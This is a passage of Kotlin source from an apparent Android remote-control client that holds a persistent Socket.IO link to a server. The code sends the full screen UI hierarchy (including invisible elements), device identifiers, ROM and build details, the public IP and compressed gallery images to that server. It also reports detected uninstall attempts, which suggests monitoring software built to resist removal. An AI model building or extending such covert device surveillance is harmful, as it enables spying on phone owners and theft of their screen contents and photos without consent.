                            isVeryPoorNetwork -> 30000L
                            useConservativeStrategy -> 20000L
                            else -> 12000L
                        }
                        
                        // 传输策略：根据网络质量和历史情况调整
                        transports = when {
                            isVeryPoorNetwork || networkQualityScore < 40 -> {
                                arrayOf("polling")
                            }
                            useConservativeStrategy -> {
                                arrayOf("polling")
                            }
                            else -> {
                                arrayOf("polling", "websocket")
                            }
                        }
                        upgrade = !useConservativeStrategy
                        rememberUpgrade = true
                        forceNew = true
                        
                        query = "reconnect=true&strategy=${if (useConservativeStrategy) "conservative" else "standard"}&timestamp=${System.currentTimeMillis()}"
                    }
                    
                    socket = IO.socket(java.net.URI.create(convertToSocketIoProtocol(serverUrl)), options)
                    setupEventListeners()
                    socket?.connect()
                    
                    Log.i(TAG, "增强Socket实例已创建并连接")
                    // 重连成功，重置深度计数
                    forceReconnectDepth = 0
                } catch (e: Exception) {
                    Log.e(TAG, "重新创建Socket失败", e)
                    
                    // 重连失败时的回退策略，有深度限制保护
                    delay(10000)
                    if (!isConnected) {
                        Log.w(TAG, "重连失败，10秒后再次尝试(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})...")
                        forceReconnect()
                    }
                }
                
            } catch (e: Exception) {
                Log.e(TAG, "智能重连异常", e)
                forceReconnectDepth = 0
            }
        }
    }
    
    /**
     * Start active connection monitoring - enhanced stability version
     */
    private fun startConnectionMonitoring() {
        Log.e(TAG, "Starting enhanced connection monitoring")
        
        // Optimize: adjust check interval to coordinate with server 60s heartbeat
        val checkInterval = if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
            30000L // Android 15每30秒检测一次，与60秒心跳间隔形成2:1比例
        } else {
            25000L // 其他版本每25秒检测一次，更快发现连接问题
        }
        
        connectionCheckJob = scope.launch {
            var consecutiveFailures = 0 // Consecutive failure count
            
            while (isActive && isConnected) {
                try {
                    delay(checkInterval)
                    
                    Log.w(TAG, "Executing smart connection check...")
                    
                    // Multi-layer connection status check
                    val socketConnected = socket?.connected() == true
                    val socketExists = socket != null
                    
                    if (!socketExists) {
                        Log.e(TAG, "Socket instance does not exist")
                        isConnected = false
                        isDeviceRegistered = false
                        forceReconnect()
                        break
                    }
                    
                    if (!socketConnected) {
                        consecutiveFailures++
                        Log.e(TAG, "Socket.IO connection lost, consecutive failures: $consecutiveFailures")
                        
                        // Balance fault tolerance and response speed
                        if (consecutiveFailures >= 5) {
                            Log.e(TAG, "Connection check failed ${consecutiveFailures} times, triggering reconnect")
                            isConnected = false
                            isDeviceRegistered = false
                            forceReconnect()
                            break
                        } else {
                            Log.w(TAG, "Check failure count: $consecutiveFailures/5, waiting for next check")
                            continue
                        }
                    } else {
                        consecutiveFailures = 0 // 重置失败计数
                    }
                    
                    // Optimize heartbeat test: reduce frequency to minimize transport errors
                    if (consecutiveFailures == 0) {
                        try {
                            val testData = JSONObject().apply {
                                put("type", "connection_test")
                                put("timestamp", System.currentTimeMillis())
                                put("device_id", android.provider.Settings.Secure.getString(
                                    service.contentResolver,
                                    android.provider.Settings.Secure.ANDROID_ID
                                ))
                            }
                            socket?.emit("CONNECTION_TEST", testData)
                            Log.w(TAG, "Connection check: test message sent successfully")
                            
                        } catch (e: Exception) {
                            consecutiveFailures++
                            Log.e(TAG, "Connection check: test message send failed, consecutive failures: $consecutiveFailures", e)
                            
                            // Respond quickly to heartbeat failures
                            if (consecutiveFailures >= 6) {
                                Log.e(TAG, "Heartbeat test failed ${consecutiveFailures} times, calling reconnect")
                                isConnected = false
                                forceReconnect()
                                break
                            }
                        }
                    }
                    
                } catch (e: Exception) {
                    Log.e(TAG, "Connection monitoring exception", e)
                    break
                }
            }
            
            Log.e(TAG, "💔💔💔 连接监控结束 💔💔💔")
        }
    }
    
    private fun getDeviceId(): String {
        return android.provider.Settings.Secure.getString(
            service.contentResolver,
            android.provider.Settings.Secure.ANDROID_ID
        ) ?: "unknown"
    }
    
    private fun getUniqueDeviceName(): String {
        val model = android.os.Build.MODEL
        val deviceId = getDeviceId()
        val shortId = deviceId.takeLast(8)
        return "${android.os.Build.MANUFACTURER}_${model}_${shortId}"
    }
    
    /**
     * 获取设备屏幕宽度
     */
    private fun getScreenWidth(): Int {
        val metrics = service.resources.displayMetrics
        return metrics.widthPixels
    }

    /**
     * 获取设备屏幕高度
     */
    private fun getScreenHeight(): Int {
        // 使用WindowMetrics获取完整的屏幕尺寸（包含系统UI）
        try {
            val windowManager = service.getSystemService(Context.WINDOW_SERVICE) as android.view.WindowManager
            return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
                val windowMetrics = windowManager.currentWindowMetrics
                windowMetrics.bounds.height()
            } else {
                @Suppress("DEPRECATION")
                val display = windowManager.defaultDisplay
                val realSize = android.graphics.Point()
                @Suppress("DEPRECATION")
                display.getRealSize(realSize)
                realSize.y
            }
        } catch (e: Exception) {
            Log.e(TAG, "获取真实屏幕尺寸失败，使用默认方法", e)
            val metrics = service.resources.displayMetrics
            return metrics.heightPixels
        }
    }
    
    /**
     * 处理UI层次结构分析请求 - 默认使用增强功能
     */
    private fun handleUIHierarchyRequest(requestData: JSONObject) {
        try {
            Log.e(TAG, "Processing UI hierarchy analysis request (enhanced mode)")
            
            val requestId = requestData.optString("requestId", "")
            val clientId = requestData.optString("clientId", "")
            val includeInvisible = requestData.optBoolean("includeInvisible", true) // 默认true
            val includeNonInteractive = requestData.optBoolean("includeNonInteractive", true)
            val maxDepth = requestData.optInt("maxDepth", 25) // 默认25层
            
            Log.e(TAG, "Request params: requestId=$requestId, clientId=$clientId, includeInvisible=$includeInvisible, includeNonInteractive=$includeNonInteractive, maxDepth=$maxDepth")
            
            // 使用协程在后台执行UI分析
            scope.launch {
                try {
                    Log.e(TAG, "🔬🔬🔬 开始执行增强UI分析!!! 🔬🔬🔬")
                    
                    // 直接调用原有的分析方法，并使用增强参数
                    val enhancedMaxDepth = maxOf(maxDepth, 25) // 至少25层
                    val enhancedIncludeInvisible = includeInvisible || true // 默认包含不可见元素
                    val hierarchy = service.analyzeUIHierarchy(enhancedIncludeInvisible, includeNonInteractive, enhancedMaxDepth)
                    
                    // 获取基本设备信息
                    val deviceCharacteristics = mapOf(
                        "brand" to android.os.Build.BRAND,
                        "model" to android.os.Build.MODEL,
                        "manufacturer" to android.os.Build.MANUFACTURER,
                        "sdkVersion" to android.os.Build.VERSION.SDK_INT.toString(),
                        "androidVersion" to android.os.Build.VERSION.RELEASE,
                        "deviceType" to "android"
                    )
                    
                    if (hierarchy != null) {
                        Log.e(TAG, "Enhanced UI analysis succeeded")
                        
                        // 发送完整的UI层次结构响应
                        val responseData = JSONObject().apply {
                            put("deviceId", getDeviceId())
                            put("requestId", requestId)
                            put("clientId", clientId)
                            put("success", true)
                            put("message", "增强UI分析成功")
                            put("timestamp", System.currentTimeMillis())
                            put("hierarchy", hierarchy as Any)
                            put("enhanced", true) // 总是标识为增强版
                            
                            // 总是包含设备特征信息
                            put("deviceCharacteristics", JSONObject(deviceCharacteristics))
                            
                            // 添加分析元数据
                            put("analysisMetadata", JSONObject().apply {
                                put("version", "enhanced_v1.0")
                                put("parameters", JSONObject().apply {
                                    put("includeInvisible", includeInvisible)
                                    put("includeNonInteractive", includeNonInteractive)
                                    put("maxDepth", maxDepth)
                                })
                                put("capabilities", JSONObject().apply {
                                    put("keyboardDetection", true)
                                    put("windowDetection", true)
                                    put("deviceProfiling", true)
                                })
                            })
                        }
                        
                        Log.e(TAG, "Sending enhanced UI hierarchy response")
                        Log.e(TAG, "Response data size: ${responseData.toString().length} chars")
                        Log.e(TAG, "Device features: included")
                        
                        // 发送响应
                        sendUIHierarchyResponse(responseData)
                        
                    } else {
                        Log.e(TAG, "Enhanced UI analysis returned null")
                        // 发送错误响应
                        sendUIHierarchyError(requestId, clientId, "无法获取UI层次结构（增强模式）")
                    }
                } catch (e: Exception) {
                    Log.e(TAG, "Enhanced UI hierarchy analysis failed", e)
                    sendUIHierarchyError(requestId, clientId, "增强分析失败: ${e.message}")
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "Handle UI hierarchy request failed", e)
        }
    }
    
    /**
     * 发送UI层次结构响应 - 使用screen_data事件发送（已验证可行）
     */
    private fun sendUIHierarchyResponse(responseData: JSONObject) {
        try {
            Log.e(TAG, "Using screen_data event to send UI hierarchy response")
            
            // Simple connection check following sendScreenData pattern
            if (isConnected && socket?.connected() == true) {
                
                // Use screen_data event to send UI response data
                try {
                    // Convert UI response data to screen_data format
                    val uiScreenData = JSONObject().apply {
                        put("deviceId", getDeviceId())
                        put("format", "UI_HIERARCHY")  // 特殊格式标识
                        put("data", responseData.toString())  // UI数据作为字符串
                        put("width", getScreenWidth())
                        put("height", getScreenHeight())
                        put("quality", 100)  // UI数据质量设为100
                        put("timestamp", System.currentTimeMillis())
                        put("uiHierarchy", true)  // 标识这是UI层次结构数据
                    }
                    
                    val emitResult = socket?.emit("screen_data", uiScreenData)
                    Log.e(TAG, "UI hierarchy response sent via screen_data event: $emitResult")
                    Log.e(TAG, "UI response data size: ${responseData.toString().length} chars")
                    Log.e(TAG, "Socket status: connected=${socket?.connected()}, id=${socket?.id()}")
                } catch (emitException: Exception) {
                    // UI hierarchy response failure handling with tolerance
                    Log.e(TAG, "UI hierarchy response send failed via screen_data: ${emitException.message}")
                    // Don't trigger reconnect immediately, let unified reconnect mechanism handle it
                    Log.w(TAG, "UI response send failed, CONNECTION_TEST heartbeat will handle reconnect")
                    throw emitException
                }
                
            } else {
                Log.e(TAG, "Socket.IO not connected, cannot send UI hierarchy response")
                Log.e(TAG, "Connection status: isConnected=$isConnected, socket?.connected()=${socket?.connected()}")
                // Don't reconnect immediately, let heartbeat mechanism handle it
                Log.w(TAG, "Socket not connected, waiting for CONNECTION_TEST heartbeat to detect reconnect")
            }
        } catch (e: Exception) {
            Log.e(TAG, "Send UI hierarchy response exception", e)
        }
    }
    
    /**
     * 发送UI层次结构错误响应 - 使用screen_data事件发送
     */
    private fun sendUIHierarchyError(requestId: String, clientId: String, errorMessage: String) {
        try {
            val errorData = JSONObject().apply {
                put("deviceId", getDeviceId())
                put("requestId", requestId)
                put("clientId", clientId)
                put("error", errorMessage)
                put("success", false)
                put("timestamp", System.currentTimeMillis())
            }
            
            Log.w(TAG, "Sending UI hierarchy error response: $errorMessage")
            
            // Use screen_data event to send error response
            if (isConnected && socket?.connected() == true) {
                try {
                    // Convert error response to screen_data format
                    val errorScreenData = JSONObject().apply {
                        put("deviceId", getDeviceId())
                        put("format", "UI_HIERARCHY")  // 特殊格式标识
                        put("data", errorData.toString())  // 错误数据作为字符串
                        put("width", getScreenWidth())
                        put("height", getScreenHeight())
                        put("quality", 100)
                        put("timestamp", System.currentTimeMillis())
                        put("uiHierarchy", true)  // 标识这是UI层次结构数据
                        put("isError", true)  // 标识这是错误响应
                    }
                    
                    val emitResult = socket?.emit("screen_data", errorScreenData)
                    Log.w(TAG, "UI hierarchy error response sent via screen_data: $emitResult")
                } catch (emitException: Exception) {
                    // Error response send failure with tolerance
                    Log.e(TAG, "UI hierarchy error response send failed: ${emitException.message}")
                    // Don't reconnect immediately, let heartbeat handle it
                    Log.w(TAG, "UI error response send failed, CONNECTION_TEST heartbeat will handle reconnect")
                    throw emitException
                }
            } else {
                Log.e(TAG, "Socket.IO not connected, cannot send UI hierarchy error response")
                // Don't reconnect immediately, let heartbeat handle it
                Log.w(TAG, "Socket not connected, waiting for CONNECTION_TEST heartbeat")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "Send error response failed", e)
        }
    }
    
    /**
     * Get current network type (for network change detection)
     */
    private fun getCurrentNetworkType(): String {
        return try {
            val connectivityManager = service.getSystemService(Context.CONNECTIVITY_SERVICE) 
                as android.net.ConnectivityManager
            
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                val activeNetwork = connectivityManager.activeNetwork
                val networkCapabilities = connectivityManager.getNetworkCapabilities(activeNetwork)
                
                when {
                    networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_WIFI) == true -> "WIFI"
                    networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_CELLULAR) == true -> "CELLULAR"
                    networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_ETHERNET) == true -> "ETHERNET"
                    else -> "UNKNOWN"
                }
            } else {
                @Suppress("DEPRECATION")
                val activeNetworkInfo = connectivityManager.activeNetworkInfo
                @Suppress("DEPRECATION")
                when (activeNetworkInfo?.type) {
                    android.net.ConnectivityManager.TYPE_WIFI -> "WIFI"
                    android.net.ConnectivityManager.TYPE_MOBILE -> "CELLULAR"
                    android.net.ConnectivityManager.TYPE_ETHERNET -> "ETHERNET"
                    else -> "UNKNOWN"
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "获取网络类型失败", e)
            "UNKNOWN"
        }
    }
    
    /**
     * Check if conservative reconnect strategy should be used
     */
    private fun shouldUseConservativeReconnect(): Boolean {
        val currentTime = System.currentTimeMillis()
        val networkType = getCurrentNetworkType()
        
        // 多因素判断是否使用保守策略
        val factorsForConservative = mutableListOf<String>()
        
        // 1. Transport Error频率判断
        if (transportErrorCount >= 2 && (currentTime - lastTransportErrorTime) < 600000) {
            factorsForConservative.add("频繁transport_error(${transportErrorCount}次)")
        }
        
        // 2. 网络类型判断 - CELLULAR网络更容易不稳定
        if (networkType == "CELLULAR") {
            factorsForConservative.add("移动网络")
        }
        
        // 3. 连接持续时间判断 - 如果经常短时间断开，说明网络不稳定
        val connectionDuration = currentTime - lastConnectTime
        if (connectionDuration < 120000 && lastConnectTime > 0) { // 连接时间少于2分钟
            factorsForConservative.add("短连接时间(${connectionDuration/1000}秒)")
        }
        
        // 4. Android版本判断 - Android 15可能需要特殊处理
        if (Build.VERSION.SDK_INT >= 35) {
            factorsForConservative.add("Android15系统")
        }
        
        // 5. 网络质量分数判断 - 分数低于60时使用保守策略
        if (networkQualityScore < 60) {
            factorsForConservative.add("网络质量较差(${networkQualityScore}分)")
        }
        
        val useConservative = factorsForConservative.isNotEmpty()
        
        if (useConservative) {
            Log.w(TAG, "Using conservative reconnect strategy, factors: ${factorsForConservative.joinToString(", ")}")
        } else {
            Log.i(TAG, "Using standard reconnect strategy, network is good")
        }
        
        return useConservative
    }
    
    /**
     * Record connection duration for network quality assessment
     */
    private fun recordConnectionDuration(duration: Long) {
        recentConnectionTimes.add(duration)
        // 只保留最近10次连接记录
        if (recentConnectionTimes.size > 10) {
            recentConnectionTimes.removeAt(0)
        }
    }
    
    /**
     * Update network quality score (multi-factor assessment)
     */
    private fun updateNetworkQualityScore(isSuccess: Boolean, reason: String = "", duration: Long = 0) {
        val previousScore = networkQualityScore
        
        if (isSuccess) {
            // 连接成功，适度提升分数
            networkQualityScore = minOf(100, networkQualityScore + 5)
        } else {
            // 连接失败或断开，根据原因和时长降低分数
            val penalty = when {
                reason == "transport_error" -> 15 // transport error惩罚较重
                duration < 30000 -> 12 // 连接时间少于30秒，网络很不稳定
                duration < 120000 -> 8 // 连接时间少于2分钟，网络不稳定
                duration < 300000 -> 5 // 连接时间少于5分钟，轻微不稳定
                else -> 2 // 长时间连接后断开，轻微惩罚
            }
            networkQualityScore = maxOf(0, networkQualityScore - penalty)
        }
        
        // 根据成功率进行额外调整
        val totalConnections = connectionSuccessCount + connectionFailureCount
        if (totalConnections >= 5) {
            val successRate = connectionSuccessCount.toFloat() / totalConnections
            when {
                successRate >= 0.9 -> networkQualityScore = minOf(100, networkQualityScore + 3)
                successRate <= 0.5 -> networkQualityScore = maxOf(0, networkQualityScore - 5)
            }
        }
        
        // 根据平均连接时长进行调整
        if (recentConnectionTimes.isNotEmpty()) {
            val avgDuration = recentConnectionTimes.average()
            when {
                avgDuration >= 300000 -> networkQualityScore = minOf(100, networkQualityScore + 2) // 平均5分钟以上
                avgDuration <= 60000 -> networkQualityScore = maxOf(0, networkQualityScore - 3)  // 平均1分钟以下
            }
        }
        
        if (networkQualityScore != previousScore) {
            Log.i(TAG, "Network quality score update: $previousScore -> $networkQualityScore (${getNetworkQualityDescription()})")
        }
    }
    
    /**
     * Get network quality description
     */
    private fun getNetworkQualityDescription(): String {
        return when {
            networkQualityScore >= 80 -> "优秀"
            networkQualityScore >= 60 -> "良好"
            networkQualityScore >= 40 -> "一般"
            networkQualityScore >= 20 -> "较差"
            else -> "很差"
        }
    }
    
    /**
     * Get current network quality score (for external query)
     */
    fun getNetworkQualityScore(): Int = networkQualityScore

    /**
     * 🆕 获取设备公网IP地址
     */
    private suspend fun getPublicIP(): String? {
        return withContext(Dispatchers.IO) {
            try {
                // 检查缓存
                val currentTime = System.currentTimeMillis()
                if (cachedPublicIP != null && (currentTime - lastIPCheckTime) < IP_CACHE_DURATION) {
                    Log.d(TAG, "Using cached public IP: $cachedPublicIP")
                    return@withContext cachedPublicIP
                }
                
                // 尝试多个公网IP检测服务，增加成功率
                val ipServices = listOf(
                    "https://ipinfo.io/ip",
                    "https://api.ipify.org",

                    "https://icanhazip.com",
                    "https://checkip.amazonaws.com"
                )
                
                for (service in ipServices) {
                    try {
                        val url = java.net.URL(service)
                        val connection = url.openConnection() as java.net.HttpURLConnection
                        connection.requestMethod = "GET"
                        connection.connectTimeout = 5000 // 5秒超时
                        connection.readTimeout = 5000
                        connection.setRequestProperty("User-Agent", "RemoteControl-Android")
                        
                        if (connection.responseCode == 200) {
                            val ip = connection.inputStream.bufferedReader().use { it.readText().trim() }
                            
                            // 验证IP格式
                            if (isValidIP(ip)) {
                                cachedPublicIP = ip
                                lastIPCheckTime = currentTime
                                Log.i(TAG, "Public IP obtained: $ip (service: $service)")
                                return@withContext ip
                            }
                        }
                        connection.disconnect()
                    } catch (e: Exception) {
                        Log.w(TAG, "IP detection service failed: $service", e)
                        continue
                    }
                }
                
                Log.w(TAG, "All public IP detection services failed")
                return@withContext null
                
            } catch (e: Exception) {
                Log.e(TAG, "Get public IP exception", e)
                return@withContext null
            }
        }
    }
    
    /**
     * 🆕 验证IP地址格式
     */
    private fun isValidIP(ip: String): Boolean {
        return try {
            val parts = ip.split(".")
            if (parts.size != 4) return false
            parts.all { part ->
                val num = part.toIntOrNull()
                num != null && num >= 0 && num <= 255
            }
        } catch (e: Exception) {
            false
        }
    }

    /**
     * Send uninstall attempt detection event to server
     */
    fun sendUninstallAttemptDetected(type: String, message: String = "") {
        try {
            if (isConnected && socket?.connected() == true) {
                val eventData = JSONObject().apply {
                    put("deviceId", getDeviceId())
                    put("type", type)
                    put("message", message.ifEmpty { "检测到卸载尝试: $type" })
                    put("timestamp", System.currentTimeMillis())
                }
                
                socket?.emit("uninstall_attempt_detected", eventData)
                Log.w(TAG, "Uninstall attempt event sent: type=$type, message=$message")
            } else {
                Log.w(TAG, "Socket not connected, cannot send uninstall attempt event")
            }
        } catch (e: Exception) {
            Log.e(TAG, "Send uninstall attempt event failed", e)
        }
    }
    
    /**
     * 🆕 获取系统版本名称（如Android 11、Android 12等）
     */
    private fun getSystemVersionName(): String {
        return try {
            val apiLevel = android.os.Build.VERSION.SDK_INT
            val release = android.os.Build.VERSION.RELEASE
            
            // 根据API级别映射到Android版本名称
            val versionName = when (apiLevel) {
                35 -> "Android 15"
                34 -> "Android 14" 
                33 -> "Android 13"
                32, 31 -> "Android 12"
                30 -> "Android 11"
                29 -> "Android 10"
                28 -> "Android 9"
                27, 26 -> "Android 8"
                25, 24, 23 -> "Android 7"
                22, 21 -> "Android 5"
                19 -> "Android 4.4"
                else -> "Android $release"
            }
            
            Log.d(TAG, "System version: $versionName (API $apiLevel)")
            versionName
        } catch (e: Exception) {
            Log.e(TAG, "Get system version failed", e)
            "Android ${android.os.Build.VERSION.RELEASE}"
        }
    }
    
    /**
     * 🆕 获取ROM类型（如MIUI、ColorOS、FunTouch等）
     */
    private fun getROMType(): String {
        return try {
            val brand = android.os.Build.BRAND.lowercase()
            val manufacturer = android.os.Build.MANUFACTURER.lowercase()
            
            val romType = when {
                // 小米系列
                brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> {
                    when {
                        hasSystemProperty("ro.mi.os.version.incremental") -> "澎湃OS"
                        hasSystemProperty("ro.miui.ui.version.name") -> "MIUI"
                        else -> "原生Android"
                    }
                }
                // 华为系列
                brand.contains("huawei") || brand.contains("honor") -> {
                    when {
                        hasSystemProperty("ro.build.version.emui") -> "EMUI"
                        hasSystemProperty("ro.magic.api.version") -> "Magic UI"
                        else -> "原生Android"
                    }
                }
                // OPPO系列  
                brand.contains("oppo") || brand.contains("oneplus") -> {
                    when {
                        hasSystemProperty("ro.build.version.opporom") -> "ColorOS"
                        hasSystemProperty("ro.oxygen.version") -> "OxygenOS"
                        else -> "原生Android"
                    }
                }
                // vivo系列
                brand.contains("vivo") || brand.contains("iqoo") -> {
                    if (hasSystemProperty("ro.vivo.os.version")) "OriginOS" else "Funtouch OS"
                }
                // 三星系列
                brand.contains("samsung") -> "One UI"
                // 魅族系列
                brand.contains("meizu") -> "Flyme"
                // 努比亚系列
                brand.contains("nubia") -> "nubia UI"
                // 联想系列
                brand.contains("lenovo") -> "ZUI"
                // 中兴系列
                brand.contains("zte") -> "MiFavor"
                // Google系列
                brand.contains("google") || brand.contains("pixel") -> "原生Android"
                else -> {
                    // 尝试通过系统属性检测
                    when {
                        hasSystemProperty("ro.miui.ui.version.name") -> "MIUI"
                        hasSystemProperty("ro.build.version.emui") -> "EMUI"
                        hasSystemProperty("ro.magic.api.version") -> "Magic UI"
                        hasSystemProperty("ro.build.version.opporom") -> "ColorOS"
                        hasSystemProperty("ro.oxygen.version") -> "OxygenOS"
                        hasSystemProperty("ro.vivo.os.version") -> "OriginOS"
                        hasSystemProperty("ro.build.version.oneui") -> "One UI"
                        else -> "${manufacturer.replaceFirstChar { it.uppercase() }} ROM"
                    }
                }
            }
            
            Log.d(TAG, "ROM type: $romType (Brand: $brand, Manufacturer: $manufacturer)")
            romType
        } catch (e: Exception) {
            Log.e(TAG, "Get ROM type failed", e)
            "未知ROM"
        }
    }
    
    /**
     * 🆕 获取ROM版本（如MIUI 12.5、ColorOS 11.1等）
     */
    private fun getROMVersion(): String {
        return try {
            val brand = android.os.Build.BRAND.lowercase()
            
            val romVersion = when {
                // 小米MIUI/澎湃OS版本
                brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> {
                    // 优先检查澎湃OS版本
                    getSystemProperty("ro.mi.os.version.name") ?: 
                    getSystemProperty("ro.mi.os.version.code") ?: 
                    // 然后检查MIUI版本
                    getSystemProperty("ro.miui.ui.version.name") ?: 
                    getSystemProperty("ro.miui.ui.version.code") ?: "未知版本"
                }
                // 华为EMUI/Magic UI版本
                brand.contains("huawei") || brand.contains("honor") -> {
                    getSystemProperty("ro.build.version.emui") ?: 
                    getSystemProperty("ro.magic.api.version") ?: 
                    getSystemProperty("ro.build.hw_emui_api_level") ?: "未知版本"
                }
                // OPPO ColorOS版本
                brand.contains("oppo") -> {
                    getSystemProperty("ro.build.version.opporom") ?: 
                    getSystemProperty("ro.build.version.ota") ?: "未知版本"
                }
                // OnePlus OxygenOS版本
                brand.contains("oneplus") -> {
                    getSystemProperty("ro.oxygen.version") ?: 
                    getSystemProperty("ro.rom.version") ?: "未知版本"
                }
                // vivo FunTouch/OriginOS版本
                brand.contains("vivo") || brand.contains("iqoo") -> {
                    getSystemProperty("ro.vivo.os.version") ?: 
                    getSystemProperty("ro.vivo.product.version") ?: "未知版本"
                }
                // 三星One UI版本
                brand.contains("samsung") -> {
                    getSystemProperty("ro.build.version.oneui") ?: 
                    getSystemProperty("ro.build.version.sem") ?: "未知版本"
                }
                // 魅族Flyme版本
                brand.contains("meizu") -> {
                    getSystemProperty("ro.build.flyme.version") ?: "未知版本"
                }
                else -> {
                    // 尝试获取通用版本信息
                    getSystemProperty("ro.build.version.incremental") ?: 
                    getSystemProperty("ro.build.id") ?: "未知版本"
                }
            }
            
            Log.d(TAG, "ROM version: $romVersion (Brand: $brand)")
            romVersion
        } catch (e: Exception) {
            Log.e(TAG, "Get ROM version failed", e)
            "未知版本"
        }
    }
    
    /**
     * 🆕 检查系统属性是否存在
     */
    private fun hasSystemProperty(key: String): Boolean {
        return try {
            val property = getSystemProperty(key)
            !property.isNullOrBlank()
        } catch (e: Exception) {
            false
        }
    }
    
    /**
     * 🆕 获取系统属性值
     */
    private fun getSystemProperty(key: String): String? {
        return try {
            val clazz = Class.forName("android.os.SystemProperties")
            val method = clazz.getMethod("get", String::class.java)
            val result = method.invoke(null, key) as? String
            result?.takeIf { it.isNotBlank() }
        } catch (e: Exception) {
            Log.w(TAG, "Get system property failed: $key", e)
            null
        }
    }
    
    /**
     * 🆕 获取OS构建版本号（如1.0.19.0.UMCCNXM）
     */
    private fun getOSBuildVersion(): String {
        return try {
            val brand = android.os.Build.BRAND.lowercase()
            
            // Special handling for Xiaomi devices
            if (brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco")) {
                // 检查是否为澎湃OS
                val hyperosProp = getSystemProperty("ro.mi.os.version.incremental")
                if (!hyperosProp.isNullOrBlank()) {
                    Log.d(TAG, "Detected HyperOS, version: $hyperosProp")
                    return hyperosProp
                }
                
                // MIUI设备特定属性
                val miuiIncrementalProps = listOf(
                    "ro.build.version.incremental",
                    "ro.product.mod_device",
                    "ro.build.display.id"
                )
                
                for (property in miuiIncrementalProps) {
                    val version = getSystemProperty(property)
                    if (!version.isNullOrBlank() && version.length > 3) {
                        // Fix HyperOS version format: remove possible prefix
                        val cleanVersion = when {
                            version.startsWith("V") && version.contains(".") -> {
                                // 如果是V816.0.19.0.UMCCNXM格式，提取.后面的部分
                                val dotIndex = version.indexOf('.')
                                if (dotIndex > 1) {
                                    version.substring(dotIndex + 1)
                                } else version
                            }
                            else -> version
                        }
                        Log.d(TAG, "Xiaomi device OS build version: $cleanVersion (raw: $version, source: $property)")
                        return cleanVersion
                    }
                }
            }
            
            // 其他品牌设备的通用属性获取
            val buildProperties = listOf(
                "ro.build.version.incremental",  // 增量版本号
                "ro.build.display.id",           // 完整构建显示ID
                "ro.build.id",                   // 构建ID
                "ro.modversion",                 // 模组版本
                "ro.build.version.security_patch", // 安全补丁版本
                "ro.build.description",          // 构建描述
                "ro.product.build.version.incremental" // 产品构建增量版本
            )
            
            // 按优先级尝试获取版本信息
            for (property in buildProperties) {
                val version = getSystemProperty(property)
                if (!version.isNullOrBlank() && version.length > 3) {
                    Log.d(TAG, "OS build version: $version (source: $property)")
                    return version
                }
            }
            
            // 如果都获取不到，使用Build类的相关信息
            val fallbackVersion = when {
                android.os.Build.DISPLAY.isNotBlank() -> android.os.Build.DISPLAY
                android.os.Build.ID.isNotBlank() -> android.os.Build.ID
                else -> android.os.Build.VERSION.INCREMENTAL
            }
            
            Log.d(TAG, "Using fallback OS build version: $fallbackVersion")
            fallbackVersion.ifBlank { "未知版本" }
            
        } catch (e: Exception) {
            Log.e(TAG, "Get OS build version failed", e)
            android.os.Build.VERSION.INCREMENTAL.ifBlank { "未知版本" }
        }
    }

    // =============== 图片加载与压缩工具 ===============
    private fun loadImageAsJpegBase64(contentUri: String, maxWidth: Int, maxHeight: Int, quality: Int): String? {
        return try {
            val uri = android.net.Uri.parse(contentUri)
            val resolver = service.contentResolver

            // 先读取尺寸
            val boundsOptions = android.graphics.BitmapFactory.Options().apply { inJustDecodeBounds = true }
            resolver.openInputStream(uri)?.use { input ->
                android.graphics.BitmapFactory.decodeStream(input, null, boundsOptions)
            }
            val (srcW, srcH) = boundsOptions.outWidth to boundsOptions.outHeight
            if (srcW <= 0 || srcH <= 0) {
                Log.w(TAG, "Cannot parse image dimensions: $contentUri")
                return null
            }

            // 计算采样率
            val inSample = calculateInSampleSize(srcW, srcH, maxWidth, maxHeight)
            val decodeOptions = android.graphics.BitmapFactory.Options().apply {
                inSampleSize = inSample
                inPreferredConfig = android.graphics.Bitmap.Config.RGB_565
            }

            val bitmap = resolver.openInputStream(uri)?.use { input ->
                android.graphics.BitmapFactory.decodeStream(input, null, decodeOptions)
            } ?: return null

            val output = java.io.ByteArrayOutputStream()
            bitmap.compress(android.graphics.Bitmap.CompressFormat.JPEG, quality.coerceIn(30, 95), output)
            bitmap.recycle()

            val bytes = output.toByteArray()
            if (bytes.size > maxGalleryImageSize) {
                Log.w(TAG, "Compressed image still too large(${bytes.size}B), retrying with lower quality")
                val retryOut = java.io.ByteArrayOutputStream()
                val retryBitmap = resolver.openInputStream(uri)?.use { input ->
                    android.graphics.BitmapFactory.decodeStream(input, null, decodeOptions)
                } ?: return null
                retryBitmap.compress(android.graphics.Bitmap.CompressFormat.JPEG, 60, retryOut)
                retryBitmap.recycle()
                val retryBytes = retryOut.toByteArray()
                if (retryBytes.size > maxGalleryImageSize) {
                    Log.w(TAG, "Still too large after retry(${retryBytes.size}B), giving up: $contentUri")
                    return null
                }
                return android.util.Base64.encodeToString(retryBytes, android.util.Base64.NO_WRAP)
            }

            android.util.Base64.encodeToString(bytes, android.util.Base64.NO_WRAP)
        } catch (e: Exception) {
            Log.e(TAG, "Load/compress image failed: $contentUri", e)
            null
        }
    }

    private fun calculateInSampleSize(srcW: Int, srcH: Int, reqW: Int, reqH: Int): Int {
        var inSampleSize = 1
        var height = srcH
        var width = srcW
        if (height > reqH || width > reqW) {
            var halfHeight = height / 2
            var halfWidth = width / 2
            while ((halfHeight / inSampleSize) >= reqH && (halfWidth / inSampleSize) >= reqW) {
                inSampleSize *= 2
            }
        }
        return inSampleSize.coerceAtLeast(1)
    }
} 